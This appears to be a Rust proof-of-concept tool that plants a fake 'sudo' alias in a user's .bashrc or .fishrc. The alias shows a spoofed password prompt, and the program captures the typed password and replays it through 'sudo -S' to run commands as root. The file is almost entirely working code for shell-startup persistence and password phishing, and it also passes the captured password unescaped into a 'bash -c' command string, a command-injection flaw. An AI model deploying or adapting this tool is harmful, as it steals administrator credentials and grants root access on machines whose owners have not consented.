#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
#![allow(dead_code)]
#![allow(unused)]
#![allow(unused_variables)]
#![allow(non_upper_case_globals)]
#![allow(while_true)]
#[allow(arithmetic_overflow)]
#[allow(temporary_cstring_as_ptr)]
use dirs; use std::io::Write; use std::process::Command;
use std::env;
fn get_arg_in_cmd(key: &str) -> String{
let mut ret = "".to_string();
let args: Vec<_> = env::args().collect();
for i in 1..args.len(){
if args[i] == key { return args[i + 1].clone();}
}
return ret;
}
fn checkArg(key: &str) -> bool{
let len_of_cmd_line = env::args().len();
let args: Vec<String> = env::args().collect();
let i: i64 = 0;
for i in 0..len_of_cmd_line{
if args[i] == key.to_string(){
return true;
}
}
return false;
}
fn exec_name() -> String{
let len_of_cmd_line = env::args().len();
let args: Vec<String> = env::args().collect();
args[0].clone()
}
fn greets(pswd: String){
let pswd = pswd.trim_end().trim_start();
let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S echo 'hey-ho, Dear Researcher, i am..'");
let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
.output()
.expect("can't run command");
if run_command.status.success(){
std::io::stdout().write_all(&run_command.stdout).unwrap();
} std::io::stderr().write_all(&run_command.stderr).unwrap();
let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S whoami");
let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
.output()
.expect("can't run command");
if run_command.status.success(){
std::io::stdout().write_all(&run_command.stdout).unwrap();
return;
} std::io::stderr().write_all(&run_command.stderr).unwrap();
}
fn simplest_trap_fish(){
let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
let fish_path = format!("{user_home}/.fishrc");
let fish_path_bkp = format!("{user_home}/.fishrc.bkp");
std::fs::copy(&fish_path, fish_path_bkp);
let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
};
let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $argv'", exec_name());
fishrc.write(trap.as_bytes());
}
fn simplest_trap_bash(){
let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
let fish_path = format!("{user_home}/.bashrc");
let fish_path_bkp = format!("{user_home}/.bashrc.bkp");
std::fs::copy(&fish_path, fish_path_bkp);
let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
};
let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $@'", exec_name());
fishrc.write(trap.as_bytes());
}
fn main() {
if checkArg("-simplest-trap-fish"){
simplest_trap_fish();
}
if checkArg("-simplest-trap-bash"){
simplest_trap_bash();
}
if checkArg("-greets"){
let mut pswd = "".to_string();
std::io::stdin().read_line(&mut pswd);
greets(pswd)}
}